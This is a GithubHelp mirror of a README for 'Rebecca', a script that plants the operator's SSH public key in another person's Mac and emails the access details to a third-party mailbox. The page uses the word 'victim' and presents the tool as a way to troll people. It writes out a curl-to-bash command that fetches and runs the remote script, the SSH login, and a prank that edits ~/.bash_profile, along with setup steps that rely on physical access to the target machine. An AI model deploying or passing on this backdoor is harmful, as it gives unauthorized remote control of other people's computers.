GithubHelp home page GithubHelp logo

rebecca's Introduction

Rebecca

Rebecca gives you access to another user's Mac. Running this script injects SSH key into the victim's Mac thus giving remote access.

I HIGHLY RECOMMEND GETTING PERMISSION FROM THE USER FIRST

Rebecca consist of two scripts, one to add rsa public key into the authorized_keys of the user's Mac and email relevant information for SSH to a third party mailbox. The other to remove rsa public key from the authorized_keys of the user's Mac.

Use Case

Rebecca could be modified to easily get SSH access to servers, but its current use is really just to troll people.

With SSH access, one can make a mac talk to the user, launch random browsers, sleep the Mac, etc. Some interesting commands to play with:

say -v veena hello world
open "http://google.com"
pmset sleepnow
echo "alias ls='say -v veena hello, why are you touching me'" >> ~/.bash_profile

Installtion Steps

  1. You will want to clone this to your own github respository.
  2. You will want to create a rsa key pair if you don't have one.
  3. Change the rsa public key in rebecca.sh to your own rsa public key.
  4. Change the third party mailbox in rebecca.sh to your own mailbox.
  5. Change identifier in purge.sh to your identifier otherwise purge.sh will not work.
  6. You will need physical access to a users Mac with remote login turned on.

Commands

  • bash <(curl -s https://raw.githubusercontent.com/Milleus/rebecca/master/rebecca.sh)

    Runs rebecca script which basically injects your SSH key into the user's Mac authorized_keys, grabs relevant information and send it out to a mail server.

  • ssh -i <private_rsa_key_file> <hostname>@<ip address>

    SSH into the user's Mac, get the relevant information from the mail server.

  • bash <(curl -s https://raw.githubusercontent.com/Milleus/rebecca/master/purge.sh)

    Runs purge script which removes your SSH key from the user's Mac authorized_keys.

Credits

Thanks to Ryan Tan and Ken Chuan for this interesting idea and guidance, as well as all who have given me permission to experiment on their laptops.

rebecca's People

Contributors

milleus avatar

Stargazers

 avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.